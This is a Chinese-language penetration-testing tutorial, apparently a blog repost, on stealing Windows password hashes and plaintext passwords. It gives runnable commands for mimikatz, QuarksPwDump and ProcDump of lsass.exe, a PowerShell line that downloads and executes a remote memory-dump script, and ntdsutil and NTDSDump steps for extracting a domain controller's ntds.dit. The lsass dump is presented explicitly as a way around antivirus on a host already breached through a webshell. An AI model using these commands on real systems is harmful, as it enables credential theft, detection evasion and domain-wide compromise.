关于Windows系统密码抓取

0x01 windows密码Hash

早期SMB协议在网络上传输明文口令。后来出现"LAN Manager Challenge/Response"验证机制,简称LM,它是如此简单以至很容易被破解。微软提出了WindowsNT挑战/响应验证机制,称之为NTLM。现在已经有了更新的NTLMv2以及Kerberos验证体系。Windows加密过的密码口令,我们称之为hash(中文:哈希),Windows的系统密码hash默认情况下一般由两部分组成:第一部分是LM-hash,第二部分是NTLM-hash。

NTLM-Hash与LM-Hash算法相比,明文口令大小写敏感,但无法根据NTLM-Hash判断原始明文口令是否小于8字节,摆脱了魔术字符串"[email protected]#$%"。MD4是真正的单向哈希函数,穷举做为数据源出现的明文,难度较大。问题在于,微软一味强调NTLM-Hash的强度高,却避而不谈一个事实,为了保持向后兼容性,NTLM-Hash缺省总是与LM-Hash一起使用的。这意味着NTLM-Hash强调再高也是无助于安全的,相反潜在损害着安全性。增加NTLM-Hash后,首先利用LM-Hash的弱点穷举出原始明文口令的大小写不敏感版本,再利用NTLM-Hash修正出原始明文口令的大小写敏感版本。

Windows系统下的hash密码格式为:用户名称:RID:LM-HASH值:NT-HASH值,例如:Administrator:500:C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC:::表示

用户名称为:Administrator

RID为:500

LM-HASH值为:C8825DB10F2590EAAAD3B435B51404EE

NT-HASH值为:683020925C5D8569C23AA724774CE6CC

如果你知道这个用户的hash密码了,拿着C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC去hash在线查询网站。

0x02 QuarksPwDump

一般用QuarksPwDump_v0.2b来抓取整个windows系列的密码hash,将得到的hash值在http://www.objectif-securite.ch/ophcrack.php查询。

QuarksPwDump抓取密码的命令如下:(其他命令可以参考软件说明)

quarkspwdump.exe -dhl

得到的整个HASH值拿去在线破解。

0x03 mimikatz

密码抓取神器mimikatz来测试一下,命令如下:

privilege::debugsekurlsa::logonpasswords

图示结果如下:

有没有发现,mimikatz和QuarksPwDump抓取的LM-HASH是不同的,而且mimikatz直接就把系统密码给取到了。NT-HASH两款软件得到的结果是一样的。

在渗透测试过程中会出现这样得场景,我已经chopper连上对方主机,但是系统默认安装了360安全卫士或其他得安全软件。我上传的mimikatz和QuarksPwDump都被查杀了。也就是说我想利用这两款软件常规思路获取系统的密码HASH已经是不太可能了。其实,我们可以先dump对方主机的LSASS内存文件,然后在自己主机用mimikatz进行处理,这样就可以得到对方主机的系统HASH和密码。

可以到微软的官方网站下载 ProDump,这个肯定不会引起杀毒软件的报毒和查杀了。

命令如下:

Procdump.exe -accepteula -ma lsass.exe lsass.dmp

图示如下:

接下来,再演示一下本地用mimikatz进行破解:

首先输入命令:

mimikatz.exe "sekurlsa::minidump lsass.dmp"

接着输入命令:

sekurlsa::logonpasswords

可以看到,能够得到离线得到系统密码,这样就可以在对方主机上绕过杀毒软件的查杀了。

在乌云知识库中也有看到利用PowerShell完成Prodump一样工作的命令。具体命令如下:

powershell IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1‘); "Get-Process lsass | Out-Minidump"

我在被渗透主机上进行尝试过,发现也是可行的,不过chopper的虚拟终端下会显示错误,实际上已经成功执行Powershell代码。不过总体感觉还是Prodump用起来更加方便。

Metasploit中也有集成mimkatz的。具体教程可以参考 http://www.offensive-security.com/metasploit-unleashed/Mimikatz

0x04 NTDSDump相关

受不了NTDSXTract的龟速,于是用quarkspwdump改了个能读取system.hiv的离线版提取工具。

ntds.dit其实就是个esent数据库,微软本身就有一系列的文档化api能够操作这个数据库。

其命令行如下:

ntdsdump.exe <-f ntds.dit> <-k HEX-SYS-KEY | -s system.hiv> [-o out.txt] [-h] [-t JOHN|LC]

-f    ntds.dit路径

-k   可选的十六进制格式的SYSKEY

-s    可选的system.hiv路径

-h   导出历史密码记录

-t    导出格式,LC或JOHN

-o   导出到指定文件中

SYSKEY实际上就是HKLM\SYSTEM\CurrentControlSet\Control\Lsa下面几个子项的类型信息,可以用RegQueryInfoKey查询出来。

附件里面提供了两个导出工具,getsyskey_c.exe由vc6编译,其源码为getsyskey.cpp,用vc6直接打开编译即可。

getsyskey_cs.exe由.net2.0编译,源码为getsyskey.cs,用csc直接编译即可。

已知错误:

JetAttachDatabase() failed

原因:数据库需要修复,执行esentutl /p /o ntds.dit进行修复。

下载地址:

ntdsdump

另:改完之后又看了看quarkspwdump的github,发现有人提交了个pull request:https://github.com/quarkslab/quarkspwdump/pull/3

其添加了一个加载system.hiv的功能,调用了RegLoadKey。而这个API必须要过UAC才行,所以用起来还是挺别扭的,不如这个直接读取文件进行处理来得痛快。

安全脉搏姿势

在2008+域控上使用 ntdsutil snapshot mount导出ntds.dit, SAM以及System ,

ntdsutil
snapshot
activate instance ntds
create
mount {GUID}
copy c:\MOUNT_POINT\WINDOWS\NTDS\NTDS.dit c:\NTDS_saved.dit
unmount {GUID}
quit
quit
然后就是各种copy了

在域控上使用 QuarksPwDump.exe 导出绝大部分明文:

QuarksPwDump.exe --dump-hash-domain --output SecPulseHash.txt --ntds-file c:\ntds.dit

下载回本地再用QuarksPwDump似乎就不行,主要因为本地无法指定SYSTEM文件导致获取不到key

附Quarks PWDump使用参数:

quarks-pwdump.exe <options>

Options :

-dhl  --dump-hash-local

-dhdc --dump-hash-domain-cached

-dhd  --dump-hash-domain (NTDS_FILE must be specified)

-db   --dump-bitlocker (NTDS_FILE must be specified)

-nt   --ntds-file FILE

-hist --with-history (optional)

-t    --output-type JOHN/LC (optional, if no=>JOHN)

-o    --output FILE (optional, if no=>stdout)

Example: quarks-pwdump.exe --dump-hash-domain --with-history

当然也可以把ntds.dit, SAM以及System下载回来(很多大内网 ntds就好几G,下载回来不太科学)用某工具解密 不过感觉有点庞大,现在我们可以使用NTDSDump.exe

NTDSDump.exe -f ntds.dit -s SYSTEM -o SecPulseHash.txt

0x05 参考链接

https://www.secpulse.com/archives/6301.html

https://www.cnblogs.com/hiccup/p/4380298.html

原文地址:https://www.cnblogs.com/zhaijiahui/p/8994482.html

时间: 2024-11-09 20:40:31

关于Windows系统密码抓取的相关文章

关于Windows系列密码抓取

     首先,还是回顾一下windows系统密码Hash的一些知识吧:(下面这段来自网络)      首先介绍一下windows密码Hash:      早期SMB协议在网络上传输明文口令.后来出现"LAN Manager Challenge/Response"验证机制,简称LM,它是如此简单以至很容易被破解.微软提出了WindowsNT挑战/响应验证机制,称之为NTLM.现在已经有了更新的NTLMv2以及Kerberos验证体系.Windows加密过的密码口令,我们称之为hash(

自动发送密码抓取远程日志用Shell脚本如何实现?

在linux系统中,如何用shell脚本抓取远程日志?分析线上的日志会有一个困境,机器太多,如果每台都登录上去看不太现实,但是下载下来更麻烦因为每台SCP都要求输入密码.于是我便写了一个自动抓取远程日志的脚本,实现在基本功能. 代码: #!/usr/bin/expect -f if { $argc !=1 && $argc !=2 } {send_user "没有输入远程日志文件名.\n"send_user "格式是:get.sh ${remote_log}

通过PowerShell获取Windows系统密码Hash

当你拿到了系统控制权之后如何才能更长的时间内控制已经拿到这台机器呢?作为白帽子,已经在对手防线上撕开一个口子,如果你需要进一步扩大战果,你首先需要做的就是潜伏下来,收集更多的信息便于你判断,便于有更大的收获.用什么方法才能有尽可能高的权限,同时能更有效的隐藏自己,是留webshell,留后门,种木马还是Rootkit?webshell,哪怕是一句话木马都很容易被管理员清除,放了木马,也容易被有经验的管理员查出,不管是早期自己创建进程,进程被干掉就完了,还是注入进程的木马,或者是以服务自启动的木马

wireshark在windows下无法抓取localhost数据包

在调试SSL时要抓包,通过tcpview和minisniffer等工具明明看到tcp连接已经建立并开始收发数据了,但wireshark却总是无法抓到相应的数据包. 今天早上,HQ的高工告诉我“wireshark在windows下无法抓取localhost数据包”,得使用其他工具. http://stackoverflow.com/questions/5847168/wireshark-localhost-traffic-capture you can capture on the loopbac

Android开发:使用Windows cmd窗口抓取Android手机log

写在前面的废话 一般Android开发者都会使用Eclipse,Android studio观察log输出,其实后台是使用adb来打印log的,这里介绍的是如何让log输出到cmd窗口,而不是Eclipse,Android studio中,测试人员可使用该方法给开发人员抓取log,开发人员也可以在Eclipse的logcat抽到的时候使用该方法应急用. cmd抓取Android logcat步骤 1.解压adb_tool_windows.zip.得到三个文件:adb.exe ,AdbWinApi

VMware 上windows 系统密码忘记修改方法

* 1.下载PE,ISO本版本的(带密码破解软件) * 2.上传PE ISO 至虚拟机服务器 * 3.关闭windows虚拟机 * 4.点击编辑虚拟机设置 * 5.点击硬件,点击CD/DVD驱动器,勾选数据存储ISO文件,点击浏览选择上传的PE ISO文件 * 6.点击选项,勾选强制执行BIOS设置,点击确定 * 7.开启windows虚拟机 * 8.在BIOS设置界面的BOOT栏使用 +/- 号将CD-ROM选项调整至第一的位置,然后F10保存并退出 * 9.进入PE 选择密码破解,选择系统盘

mimikatz工具读取windows系统账号密码

mimikatz,windows密码抓取神器,可以读取windows中账号的密码,方便用于渗透中系统密码抓取. 工具具体适用方法就不介绍了,直接上实例!!! 工具执行如图所示: 抓取本地administrator账号密码,输入 sekurlsa::logonPasswords ,读取出了所有账号的信息,如图所示: 完成!!!

明文密码和散列值抓取防范方法

一.单机密码抓取的防范方法 微软为了防止用户密码在内存中以明文形式泄露,发不了补丁KB2871997,关闭了Wdigest功能.windows server 2012以上版本默认关闭Wdigest,使攻击者无法从内存中获取明文密码.对于win server 2012以下版本,通过安装KB2871997补丁,可以避免攻击者获取明文密码. 通过查看注册表键值,可以判断Wdigest功能状态.如果该项值为“1”则为开启,即可以获取明文密码,如果该项值为“0”,则明文密码不会出现在内存中.开启和关闭Wd

我也来学着写写WINDOWS服务-解析xml抓取数据并插入数据库

项目告一段落,快到一年时间开发了两个系统,一个客户已经在试用,一个进入客户测试阶段,中间突然被项目经理(更喜欢叫他W工)分派一个每隔两小时用windows服务去抓取客户提供的外网xml,解析该xml,然后将截取的节点字段值插入到已经建好相应结构的表中.并记录日志. xml结构概要如下: <?xml version="1.0" encoding="UTF-8"?> <list> <info> <id>93ef7c7ccc